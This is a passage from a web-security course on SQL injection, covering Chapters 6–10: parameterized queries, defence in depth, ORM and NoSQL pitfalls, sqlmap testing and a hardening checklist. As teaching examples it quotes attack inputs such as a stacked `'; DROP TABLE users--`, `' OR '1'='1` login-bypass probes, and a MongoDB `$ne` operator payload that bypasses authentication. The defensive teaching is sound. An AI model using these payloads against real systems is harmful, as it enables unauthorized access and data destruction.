Reads, writes, stacked statements, and second-order delivery look different, but they're all the same root cause from Chapter 1 — untrusted input parsed as SQL — at different statement types and via different timing. And they all collapse under the same fix: a **parameterized query binds input as data** regardless of whether the statement is a `SELECT` or an `UPDATE`, whether stacking is on or off, and whether the value arrived just now or was read from a table. One discipline, applied to *every* query, closes all of it (Chapter 7).

Hands-On Exercises

EXERCISE 1

Show how an injectable `UPDATE users SET nickname='$n' WHERE id=$id` can be used to (a) escalate the attacker's own privileges and (b) modify every row. Explain why injection into writes is an integrity/availability attack, not just data theft.

View solution

EXERCISE 2

Explain what stacked queries are and give an example that turns a `SELECT` into a destructive command. Then explain why `'; DROP TABLE` doesn't always work, and why "our driver blocks multiple statements" is a weak thing to rely on.

View solution

EXERCISE 3

Explain second-order SQLi end to end: how a payload is stored safely in request 1 and fires in request 2. Explain precisely why input validation/sanitization fails to stop it, and state the correct principle for deciding what data is "trusted."

View solution

CHAPTER 6 QUICK REFERENCE

- SQLi isn't only reads — **INSERT/UPDATE/DELETE** are injectable too: alter other columns/rows, escalate privileges (`role='admin'`), delete everything
- Injection into writes is an **integrity & availability** attack (modify/destroy data), not just confidentiality
- **Stacked queries** — a `;` appends a whole new statement (`'; DROP TABLE users--`); works only where the driver allows multi-statements
- `'; DROP TABLE` often fails because many drivers/APIs run one statement — but some allow stacking; **don't rely on the driver setting**

- SQLi ties to the Auth course: **create/elevate accounts, reset others' passwords** — query bug → account compromise
- **Second-order SQLi** — payload stored safely in request 1, fires when a *different* path reads it into a query in request 2
- Second-order **defeats input-time validation** — the data comes from your own DB; trust by **origin (a user)**, not by where it currently sits
- All variants = one root cause; all close under **parameterizing every query** (SELECT and writes, reading user input and your own tables)
- **Next chapter:** the primary defence — parameterized queries / prepared statements, in full

CHAPTER 7 OF 10

The Primary Defence: Parameterized Queries

CHAPTER 7

The Primary Defence: Parameterized Queries

Prepared statements — the one real fix, and why it works

Six chapters of attacks, all the same root cause and all ending with the same sentence: "...impossible under parameterized queries." This is that chapter. **Parameterized queries** (a.k.a. **prepared statements** with bound parameters) are *the* defence against SQL injection — not one option among several, but the actual fix that removes the vulnerability rather than papering over it. Everything else (Chapter 8) is defence in depth on top.

The Core Idea: Separate the Query From the Data

Recall the root cause (Chapter 1): SQLi happens because the query and the data are **the same string**, so the database can't tell which characters are code and which are input. Parameterization fixes this at the source by **sending them on two separate channels**:

1. You send the **query text** with **placeholders** (`?` or `:name`) where values go — and *only* the placeholders, no values.
2. You send the **values separately**, bound to those placeholders.
3. The database **parses and plans the query first** (with placeholders), then slots the values in as *pure data* — after parsing is already done.

THE KEY INSIGHT: THE QUERY IS PARSED BEFORE THE DATA IS EVER ATTACHED

This is the whole reason it works. With concatenation, the input is part of the string the parser reads, so a `'` in the input can change the query's structure. With a prepared statement, the database receives and **parses the query template while the placeholders are still empty** — the structure (which clauses, which tables, how many conditions) is locked in *before* your value exists in the picture. When the value is then bound, parsing is over; the value can only ever be *data* filling a slot, never new SQL syntax. A username of `' OR '1'='1` becomes a search for a user literally named " `' OR '1'='1` " — the quote is just a character. There is no breakout because there is nothing left to break out *of*.

Before & After

```
// VULNERABLE — query and data concatenated into one string
const q = "SELECT * FROM users WHERE username = '" + user + "' AND password = '" + pass + "'";
db.query(q);

// SAFE — placeholders + separately-bound values
db.query(
  "SELECT * FROM users WHERE username = ? AND password = ?",
  [user, pass]   // bound as data — never parsed as SQL
);
```

The Same Fix Across Languages

STACK	PARAMETERIZED FORM
Node (mysql2/pg)	`db.query("… WHERE id = ?", [id])` / `$1` in pg
PHP (PDO)	`$stmt = $pdo->prepare("… = ?"); $stmt->execute([$id]);`
Python (sqlite3/psycopg)	`cur.execute("… = ?", (id,))` / `%s`
Java (JDBC)	`PreparedStatement` + `setString(1, id)`
C# (ADO.NET)	`cmd.Parameters.AddWithValue("@id", id)`

A PLACEHOLDER IS NOT THE SAME AS STRING-FORMATTING — THE CLASSIC FATAL MISTAKE

The single most common way developers *think* they're parameterizing but aren't: building the query string with the language's **string interpolation/formatting** and passing it to a "query" function. `db.query(f"… WHERE id = {id}")` (Python f-string), `db.query(`… = ${id}`)` (JS template literal), `"… = " + id`, or `sprintf` / `%`-formatting — these all produce a *concatenated string* with the value already baked in, exactly like the vulnerable version. The value must be passed as a **separate argument** to the driver (the `[id]` array, the `execute()` tuple, `setString`) so the driver does the binding. If the value is inside the query string, it's not parameterized — no matter how clean it looks.

What Parameters Can — and Can't — Bind

Placeholders bind **values** (the things in `WHERE x = ?`, `VALUES (?)`, `SET col = ?`). They *cannot* bind **identifiers** — table names, column names, `ORDER BY` directions, `LIMIT` in some drivers — because those are part of the query *structure*, decided at parse time. This matters for dynamic queries:

```
// you CAN parameterize the value:
"… WHERE id = ?"            // fine

// you CANNOT parameterize a column/table/direction this way:
"… ORDER BY ?"              // the sort COLUMN can't be a bound value
```

FOR DYNAMIC IDENTIFIERS, USE AN ALLOWLIST — NEVER CONCATENATE USER INPUT

When you genuinely need a user-influenced table/column/sort (a sortable table, a tab selector), you can't bind it as a parameter — so the safe pattern is an **allowlist**: map the user's input to a fixed set of known-good identifiers you control, and use the mapped value. `const col = {name:'name', date:'created_at'}[req.query.sort] ?? 'name';` — the user picks a *key*, never the literal column name. This is the one place dynamic SQL is unavoidable, and the rule is strict: identifiers come from *your* allowlist, values come from *parameters*; user input is never directly placed into the query structure.

Why This Beats Escaping

Escaping (manually backslashing or doubling quotes in input) *tries* to make input safe to concatenate. It's strictly worse than parameterization and only a last resort (Chapter 8), because: it's easy to forget on one query out of hundreds; it's database- and charset-specific (multi-byte encoding tricks have bypassed escaping); it does nothing for **numeric context** (no quotes to escape, Chapter 2); and it corrupts legitimate data. Parameterization sidesteps all of it — there's nothing to escape because the data never enters the SQL text. **Prefer parameterized queries; treat escaping as a fallback for the rare case you truly can't parameterize.**

A Bonus: Performance and Clarity

Parameterized queries aren't only safer — they're often *faster* and cleaner. The database can parse and cache the query plan once and reuse it for many different parameter values (no re-parsing per request), and the code is more readable (no quote-juggling). Security, performance, and clarity all point the same way: there is essentially no reason to build queries by concatenation. The rule is simply: **parameterize every query, every time.**

Hands-On Exercises

EXERCISE 1

Explain why parameterized queries stop SQLi at the root, focusing on the "parse before bind" mechanism. Show the vulnerable concatenated login query and its parameterized fix, and trace what happens to a `' OR '1'='1` username in each.

View solution

EXERCISE 2

Identify which of these are actually parameterized and which are still vulnerable, and why: (a) `db.query(`SELECT … WHERE id = ${id}`)`; (b) `db.query("SELECT … WHERE id = ?", [id])`; (c) `cur.execute("… = %s" % name)`; (d) `cur.execute("… = %s", (name,))`. State the rule that distinguishes them.

View solution

EXERCISE 3

A sortable table lets the user choose the sort column via `?sort=`. Explain why you can't fix this with a bound parameter, and write the correct allowlist-based approach. Then explain why parameterization is preferred over escaping, covering numeric context and multi-byte bypasses.

View solution

CHAPTER 7 QUICK REFERENCE

- **Parameterized queries / prepared statements** are *the* fix — they remove the vulnerability, not mask it
- Send the **query (with placeholders)** and the **values** on **separate channels**; bind values as data
- **Why it works**: the DB **parses the query before the data is bound**, so input can only ever be a value, never SQL syntax — no breakout possible
- Same fix everywhere: `?` / `$1` / `:name` / `%s` + a separate values argument (Node, PHP PDO, Python, JDBC, ADO.NET)
- **String-formatting ≠ parameterizing** — f-strings, template literals, `+`, `sprintf` bake the value into the query string → still vulnerable
- Parameters bind **values**, not **identifiers** (table/column/`ORDER BY`) — for those, use an **allowlist**, never concatenation
- **Prefer parameterization over escaping** — escaping is fragile (charset/multi-byte), useless for numeric context, easy to forget; last resort only
- Bonus: prepared statements are often **faster** (cached plan) and clearer — no reason to concatenate
- **Next chapter:** defence in depth — validation, least privilege, ORMs/stored procedures, and where escaping/WAFs fit

CHAPTER 8 OF 10

Defence in Depth

CHAPTER 8

Defence in Depth

Validation, least privilege, stored procedures, escaping, WAFs — layered on top

Parameterized queries (Chapter 7) are the fix. This chapter is everything you add *around* them so that a single mistake isn't catastrophic — and, just as importantly, a clear-eyed account of what each extra layer does and does *not* achieve. The recurring caution: none of these **replaces** parameterization; they reduce likelihood and limit blast radius.

Layer 1: Input Validation (allowlist)

Validate that input matches its *expected shape* — an ID is a positive integer, an email looks like an email, a status is one of a fixed set. Reject anything off-format (an **allowlist**, not a blocklist of "bad characters"):

```
// reject anything that isn't a positive integer before it reaches a query
if (!Number.isInteger(id) || id < 1) return badRequest();
```

VALIDATION IS DEFENCE IN DEPTH, NOT A SQLI FIX — SAME LESSON AS THE XSS COURSE

Input validation genuinely helps for *strict-format* fields (an integer id can't carry a SQL payload if you reject non-integers). But it is **not** a substitute for parameterization, for the same reasons it failed XSS: many legitimate fields (names like `O'Brien`, free-text comments, search) must accept the very characters payloads use, so you can't reject them without breaking the feature; blocklisting "bad" characters is endlessly bypassable; and it does nothing for **second-order** SQLi (Chapter 6), where the payload arrives from your own database. Validate for data quality and to shrink the attack surface — then *still* parameterize every query.

Layer 2: Least-Privilege Database Accounts

The app should connect to the database as an account with the **minimum permissions it actually needs** — not as `root` / `sa` /a DB owner. This doesn't prevent injection, but it dramatically *limits the damage* if one occurs:

- **Read-only where possible** — a reporting endpoint's account with only `SELECT` can't be used to `UPDATE` / `DROP` via a stacked query.
- **Scope to needed tables** — no access to tables the feature doesn't use.

- **No dangerous privileges** — no `FILE`, no ability to create users, no `xp_cmdshell`; these are the rungs from SQLi to OS compromise (Chapter 1).
- **Separate accounts per service** — a breach of one is contained.

Least privilege is the difference between "an attacker read one table" and "an attacker dropped the database and ran commands on the server."

Layer 3: Stored Procedures (only if parameterized inside)

Stored procedures are often cited as a SQLi defence — but the protection comes from *how they use parameters*, not from being a stored procedure:

```
// SAFE: the procedure uses its parameter as a bound value
CREATE PROCEDURE getUser(IN uname VARCHAR(50))
  SELECT * FROM users WHERE username = uname;   // bound, fine

// VULNERABLE: the procedure builds dynamic SQL by concatenation internally
CREATE PROCEDURE getUser(IN uname VARCHAR(50))
  SET @sql = 'SELECT * FROM users WHERE username = ''' + uname + '''';
  EXECUTE @sql;   // concatenation inside the proc → still injectable!
```

> **A STORED PROCEDURE IS NOT AUTOMATICALLY SAFE**
>
> The myth "stored procedures prevent SQLi" is only true when the procedure treats its inputs as **bound parameters**. A procedure that builds and `EXEC`s a *dynamic SQL string* by concatenating its parameters is exactly as injectable as application-side concatenation — the vulnerability just moved into the database. Stored procedures can be a fine layer (and help with privilege separation), but the actual protection is the same one as always: parameters used as data, never concatenated. Don't treat "we use stored procs" as a substitute for that discipline.

Layer 4: ORMs & Query Builders

ORMs (Sequelize, Hibernate, Django ORM, ActiveRecord, etc.) parameterize by default — calling `User.find({ where: { id } })` generates a bound query, which is why ORM-heavy code has far less SQLi. But they're not a force field: **raw query escape hatches reintroduce it** (covered fully next chapter). For now: ORMs are a strong layer because they make the safe path the default, but their raw-SQL methods are where injection creeps back.

Layer 5: Escaping — Last Resort Only

Manually escaping input (via a vetted, charset-correct library function) to make it safe to concatenate is the **weakest** option and should be reserved for the rare case you genuinely can't parameterize. Recap from

Chapter 7: it's fragile (charset/multi-byte bypasses), useless for numeric context, easy to forget, and corrupts data. If you find yourself escaping, ask first whether you can parameterize or use an allowlist instead.

Layer 6: WAFs — A Backstop, Not a Fix

A **Web Application Firewall** inspects requests and blocks ones matching known SQLi patterns. It can stop opportunistic/automated attacks and buy time to patch — useful as an outer layer. But it's pattern-matching, so it's bypassable (encoding, comments, case tricks, novel payloads — the same blocklist-loses problem from the XSS course), and it does nothing about second-order injection or the underlying bug.

> **NEVER LET A WAF SUBSTITUTE FOR FIXING THE CODE**
>
> A WAF is a valuable *backstop* — defence in depth at the perimeter, helpful against mass-scanning and zero-day windows — but treating it as your SQLi defence is the classic mistake. Attackers routinely bypass WAF signatures, and a WAF can't see second-order payloads (the malicious value enters as innocuous data). The vulnerability remains in the code. Use a WAF to reduce noise and add a safety margin; fix the actual injection with parameterized queries underneath.

The Layered Picture

LAYER	WHAT IT DOES	STATUS
`Parameterized queries`	removes the vulnerability	THE fix (Chapter 7)
`Input validation (allowlist)`	shrinks attack surface; rejects malformed input	defence in depth
`Least privilege`	limits blast radius if injected	defence in depth (critical)
`Stored procedures`	safe only if internally parameterized	conditional
`ORM`	makes safe the default; raw queries leak	strong default
`Escaping`	fragile concatenation safety	last resort
`WAF`	blocks known patterns at the perimeter	backstop

Stack them — but the load-bearing wall is parameterization; everything else assumes it's there and exists to catch what slips through (a forgotten query, a new bug) and to contain the damage.

Hands-On Exercises

EXERCISE 1

Explain why input validation helps but cannot replace parameterized queries. Give a field where allowlist validation genuinely blocks injection and one where it can't (without breaking the feature), and explain why second-order SQLi defeats input validation entirely.

View solution

EXERCISE 2

Explain why least-privilege database accounts don't prevent SQLi but are still essential. For a read-only reporting endpoint, list the privileges its DB account should and shouldn't have, and describe how each restriction limits a specific attack from earlier chapters (stacked DROP, FILE read, xp_cmdshell).

View solution

EXERCISE 3

Debunk two myths: "stored procedures prevent SQLi" and "our WAF protects us." For each, show the case where it fails (a concatenating proc; a WAF bypass / second-order), and state its correct role as defence in depth alongside parameterization.

View solution

CHAPTER 8 QUICK REFERENCE

- **Defence in depth** layers around parameterization — none *replaces* it; they cut likelihood & blast radius
- **Input validation (allowlist)** — reject malformed input; helps strict-format fields, but not a fix (free-text fields, second-order) — same lesson as XSS
- **Least privilege** — app connects with minimum rights (read-only where possible, no FILE/xp_cmdshell, scoped tables) → contains damage, doesn't prevent injection
- **Stored procedures** — safe *only if* they use bound parameters internally; a proc that concatenates dynamic SQL is just as injectable
- **ORMs** — parameterize by default (strong), but raw-query escape hatches reintroduce SQLi (Chapter 9)
- **Escaping** — last resort; fragile (charset/multi-byte), useless for numeric context, easy to forget
- **WAF** — perimeter backstop against known patterns; bypassable & blind to second-order — never a substitute for fixing the code
- Stack them, but the **load-bearing wall is parameterized queries**; the rest catches slips and limits damage
- **Next chapter:** SQLi in modern stacks — ORM pitfalls and NoSQL injection

CHAPTER 9 OF 10

SQLi in Modern Stacks

CHAPTER 9

SQLi in Modern Stacks

ORM pitfalls and NoSQL injection — why the bug survived the framework era

ORMs and NoSQL databases made classic string-concatenated SQLi *rarer* — but, exactly like framework auto-escaping did for XSS (the "less, not gone" story), they didn't eliminate injection. They moved it. This chapter covers where injection hides in ORM-heavy code and the NoSQL cousin that catches teams who think "we don't use SQL, so we're safe."

ORMs: Safe by Default, Until the Escape Hatch

ORMs (Sequelize, Prisma, Hibernate/JPA, Django ORM, ActiveRecord, Eloquent) generate **parameterized queries automatically** for normal operations — which is why ORM code has far less SQLi. The danger is the **raw-SQL escape hatches** every ORM provides, where you drop to hand-written SQL and the auto-parameterization stops:

```
// SAFE — normal ORM call generates a bound query
User.findOne({ where: { email } });

// VULNERABLE — raw query with concatenation (the escape hatch)
db.query(`SELECT * FROM users WHERE email = '${email}'`);

// SAFE — raw query, but with bound replacements
db.query("SELECT * FROM users WHERE email = ?", { replacements: [email] });
```

AUDITING AN ORM CODEBASE FOR SQLI = GREP FOR THE RAW-SQL METHODS

Because normal ORM calls are safe, SQLi review concentrates on the explicit raw-query methods — the same "grep for the escape hatches" discipline as the XSS course's `dangerouslySetInnerHTML`. Search for: `sequelize.query` / `QueryRaw`, `$queryRawUnsafe` (Prisma), `.raw()` / `extra()` (Django), `find_by_sql` / string conditions (ActiveRecord), `createQuery` with string concatenation (Hibernate/JPQL), and `DB::raw` / `whereRaw` (Laravel). Each is a spot where a developer left the safe default — and where injection re-enters if user input is concatenated rather than passed as a binding.

ORM Pitfalls Beyond Raw Queries

Even without dropping to raw SQL, ORMs have sharper edges than "always safe":

- **Concatenating into a raw fragment** — `whereRaw("age > " + input)` is injectable even though it's "using the ORM."
- **Dynamic column/table/order names** — ORMs can't parameterize identifiers either (Chapter 7); passing a user-chosen column/sort needs an **allowlist**, or it's injectable.
- **Operator/structure injection** — some ORMs build queries from objects; if you spread untrusted JSON straight into a `where` clause, an attacker may inject *operators* (this overlaps with NoSQL injection below).
- **"LIKE" and wildcard handling** — user input in a `LIKE` needs its wildcards (`%`, `_`) handled, separate from SQLi but a related correctness/abuse issue.

NoSQL Injection: The Cousin That Surprises People

"We use MongoDB, so SQL injection doesn't apply." True for *SQL* injection — but NoSQL databases have their own injection class, the **same root cause** (untrusted input changing query structure) in a different query language. The classic is **operator injection** in MongoDB:

```
// a login that builds a query object from request body
db.users.findOne({ username: req.body.username, password: req.body.password });

// normal JSON body:  { "username": "philip", "password": "secret" }
// attacker sends instead:
{ "username": "admin", "password": { "$ne": null } }
// → password: { $ne: null } means "password not equal to null" → always true
// → matches the admin user without knowing the password (auth bypass)
```

> **IT'S THE SAME BUG: UNTRUSTED INPUT BECOMES PART OF THE QUERY'S LOGIC**
>
> The attacker didn't supply a *value* for password — they supplied a query *operator object* (`{$ne: null}`), and because the code spread the request body straight into the query, that operator became part of the query's *logic*. That's structurally identical to SQLi: input crossing the boundary from data into query semantics. Other MongoDB vectors include `$where` (which can run JavaScript) and `$regex` for inference (a NoSQL analogue of blind extraction). The mental model from Chapter 1 transfers exactly — only the syntax differs.

Defending NoSQL

- **Validate types & structure** — ensure `password` is a *string*, not an object; reject request fields that are objects/arrays where a scalar is expected. This kills operator injection at the source.
- **Cast/coerce inputs** — explicitly treat values as the type you expect (`String(req.body.password)`) before they reach the query.
- **Avoid dangerous operators** — disable/forbid `$where` and JavaScript execution; don't pass user input into `$regex` unescaped.

- **Use the driver/ODM safely** — Mongoose schemas enforce types (a String field rejects an object); don't bypass them with loose queries built from raw request bodies.

The Persistent Lesson

Across ORMs and NoSQL, the same pattern from the XSS course recurs: **modern tools make the safe path the default, which slashes injection rates, but every escape hatch and every "spread untrusted input into the query" is where it returns.** The defences also rhyme — keep untrusted input as *data*, never let it become query *structure*: parameterize raw SQL, allowlist identifiers, and validate types so a JSON object can't sneak in where a string belongs. The framework helps; it doesn't absolve you of the data-vs-code discipline.

Hands-On Exercises

EXERCISE 1

You're security-reviewing an ORM-based codebase. Explain why normal ORM calls are safe and list the specific raw-query methods/patterns you'd grep for across a few ORMs. Then give a "looks like ORM but is injectable" example and its fix.

View solution

EXERCISE 2

Explain MongoDB operator injection using the login example. Show how `{ "password": { "$ne": null } }` bypasses authentication, why it's the same root cause as SQLi, and write the type-validation fix that stops it.

View solution

EXERCISE 3

A team says "we switched to an ORM and MongoDB, so injection is no longer a concern." Rebut this, naming the residual risks in both (ORM raw/identifier/operator injection; NoSQL operator/$where/$regex), and state the unifying principle and defences that still apply.

View solution

CHAPTER 9 QUICK REFERENCE

- ORMs & NoSQL made classic SQLi **rarer, not gone** — same "less, not gone" story as XSS framework escaping

- **ORMs parameterize by default**; injection returns through **raw-SQL escape hatches** (concatenation in `sequelize.query`, `$queryRawUnsafe`, `.raw()`, `whereRaw`, `find_by_sql`, `DB::raw`)
- Audit ORM code by **grepping the raw-query methods** (like XSS's escape hatches)
- Other ORM pitfalls: concatenating into raw fragments, **dynamic identifiers** (need an allowlist), operator/structure injection, LIKE wildcards
- **NoSQL injection** — same root cause, different language; MongoDB **operator injection**: `{ "password": { "$ne": null } }` = always-true → auth bypass
- Other Mongo vectors: `$where` (runs JS), `$regex` (blind-style inference)
- Defend NoSQL: **validate types/structure** (password must be a string, not an object), coerce inputs, forbid `$where`, use schema enforcement (Mongoose)
- Unifying rule: keep input as **data**, never query **structure** — parameterize raw SQL, allowlist identifiers, validate types
- **Next chapter:** testing, tooling (sqlmap) & the hardening checklist — the course finale

CHAPTER 10 OF 10

Testing, Tooling & Hardening Checklist

CHAPTER 10

Testing, Tooling & Hardening Checklist

Finding SQLi, sqlmap, the broken-defence catalogue, and a deployable checklist

The finale turns the course into practice: how to *test* for SQLi, how the standard tooling works, the broken-defence patterns to recognize, and a single deployable checklist that pulls all ten chapters together. (Test only systems you own or are authorized to assess.)

How to Test for SQLi

1. **Map every input that reaches a query** — URL params, form fields, JSON bodies, headers, cookies — and remember *stored* values too (second-order, Chapter 6).
2. **Probe injectability** — a lone `'` (error/changed behaviour), `' OR '1'='1` vs `' AND '1'='2` (logic change), arithmetic like `4+1` in numeric params (Chapter 2).
3. **Identify the context & type** — string vs numeric (Ch. 2); in-band, blind, or out-of-band (Ch. 3) — this dictates the technique.
4. **Confirm impact safely** — extract something harmless and unique (e.g. `@@version` / `version()`), not destructive payloads, to prove the finding.
5. **Check for blind** — if no output/errors, test boolean (page difference) and time-based (`SLEEP`) inference (Chapter 5).

SQLMAP — WHAT IT AUTOMATES, AND WHY THAT MATTERS

sqlmap is the standard open-source SQLi tool. Pointed at a parameter, it automatically: detects whether it's injectable, determines the *type* (error/union/boolean/time/OOB) and the *context*, fingerprints the DBMS, enumerates the schema via `information_schema`, and dumps tables — and can escalate to reading files or OS commands where privileges allow. The lesson for defenders is sobering: **everything attackers do in Chapters 2–6 is fully automated and requires no manual SQL.** A single injectable parameter is, in practice, a one-command full-database disclosure. (Use sqlmap only against authorized targets / labs like PortSwigger, DVWA, Juice Shop.) Other tools: Burp Suite / OWASP ZAP scanners flag candidates; sqlmap confirms and exploits.

The Broken-Defence Catalogue

BROKEN PRACTICE	WHY IT FAILS	CHAPTER
`String-concatenated queries`	the root cause — input parsed as SQL	1, 2
`"We quote/strip quotes"`	numeric context needs no quote; fragile escaping	2
`Hiding DB errors as "the fix"`	only downgrades error-based to blind	3
`"No output, so it can't leak"`	time-based blind works on identical responses	5
`Validating only "user input"`	second-order injection from stored data	6
`String-formatting ≠ parameterizing`	f-strings/template literals bake value into SQL	7
`"Stored procedures are safe"`	concatenating procs are still injectable	8
`"We have a WAF"`	bypassable; blind to second-order	8
`"We use an ORM / NoSQL, so we're safe"`	raw queries; operator injection	9

The Hardening Checklist

- ☑ **Parameterize every query** — prepared statements / bound parameters everywhere; never concatenate or string-format input into SQL (the load-bearing fix, Ch. 7)
- ☑ **Allowlist dynamic identifiers** — table/column/sort can't be parameterized; map user keys to known-good names
- ☑ **Parameterize reads of your own data too** — trust by origin, not location (defeats second-order, Ch. 6)
- ☑ **Input validation (allowlist)** — enforce expected types/formats; defence in depth, not the fix
- ☑ **Least-privilege DB accounts** — minimal rights, no FILE/xp_cmdshell, scoped tables, read-only where possible (limits blast radius)
- ☑ **Generic errors to users**, detailed logs server-side — reduces info leak (but isn't a fix)
- ☑ **ORM raw-query audit** — grep the escape hatches; ensure bindings, not concatenation
- ☑ **NoSQL: validate types/structure** — reject objects where scalars belong; forbid `$where`; schema enforcement
- ☑ **WAF as a backstop** — perimeter layer only, never a substitute for fixing the code
- ☑ **Test it** — probe inputs, run sqlmap against your own app, check blind & second-order paths

THE ONE PRINCIPLE THAT SURVIVES THE WHOLE COURSE

If you remember one thing: **untrusted input must stay data and never become query code.** Every SQLi — login bypass, union dump, blind inference, second-order, write/stack, even NoSQL operator injection — is one violation of that rule, and the one real fix (parameterized queries) is one expression of it: send the query and the data on *separate channels* so the data is parsed as data. Everything else — validation, least privilege, generic errors, WAFs — reduces likelihood and contains damage, but the load-bearing wall is keeping data off the code channel. This is the exact same principle as the XSS course (encode on output); injection is one family, and you now know two of its biggest members end to end.

How the Course Fits Together

The arc: **understand the bug** (Ch. 1 data-vs-code, Ch. 2 anatomy), **the channels & techniques** (Ch. 3 types, Ch. 4 union, Ch. 5 blind, Ch. 6 writes/stacked/second-order), then the **defences** — parameterized queries as the foundation (Ch. 7), defence in depth around it (Ch. 8), the realities of modern ORMs/NoSQL (Ch. 9), and operational testing/hardening (Ch. 10). It also pairs with the wider security set: SQLi and **XSS** are the two great injection bugs (database vs browser); **Auth** is what SQLi login-bypass attacks; and like all of them, the defence is a discipline applied *everywhere*, because the weakest query sets your exposure.

Hands-On Exercises

EXERCISE 1

Write a SQLi test plan for a single endpoint: how you'd map inputs (including stored/second-order), probe injectability, identify context and type, and safely confirm impact. Explain what sqlmap automates and why "a single injectable parameter" is a serious finding.

View solution

EXERCISE 2

Audit this app against the broken-defence catalogue: it concatenates a numeric `id`, "strips single quotes" from inputs, hides DB errors, validates only request inputs (not stored data), uses a stored procedure that builds dynamic SQL, and relies on a WAF. List every flaw, its chapter, and the fix.

View solution

EXERCISE 3

Produce a prioritized SQLi hardening plan for a new app (relational DB, an ORM, a couple of raw reporting queries, a search feature). Order the measures, justify the ordering, and explain how the one core principle (data vs code) unifies

SQLi with XSS and connects to the Auth course.

View solution

CHAPTER 10 QUICK REFERENCE

- **Test**: map all inputs (incl. stored/second-order) → probe (`'`, `OR 1=1`, arithmetic) → identify context/type → confirm safely (`version()`) → check blind
- **sqlmap** automates detect → type/context → DBMS fingerprint → enumerate schema → dump tables (→ files/OS where allowed); a single injectable param ≈ full-DB disclosure
- **Broken defences**: concatenation · quote-stripping · hiding errors · "no output" · validating only user input · string-formatting · "stored procs/WAF/ORM make us safe"
- **Checklist**: parameterize everything · allowlist identifiers · parameterize reads of own data · validate types · least privilege · generic errors · ORM raw audit · NoSQL type validation · WAF backstop · test
- **The one principle**: untrusted input stays *data*, never query *code* — parameterization sends query & data on separate channels
- Defence in depth reduces likelihood/blast radius; the **load-bearing wall is parameterized queries**
- Same principle as XSS (encode on output); SQLi & XSS are the two big injection families — database vs browser

★ SQL Injection Complete — 10 / 10 chapters

From data-vs-code foundations through injection anatomy, the in-band/blind/out-of-band types, union extraction, blind inference, writes/stacked/second-order, then the defences — parameterized queries as the one real fix, defence in depth, modern ORM/NoSQL realities, and a deployable testing & hardening checklist. Paired with HTTPS, CSRF, XSS, and Authentication, you now hold a five-course web-security set — and the unifying truth across all the injection bugs: keep untrusted input as data, never let it become code.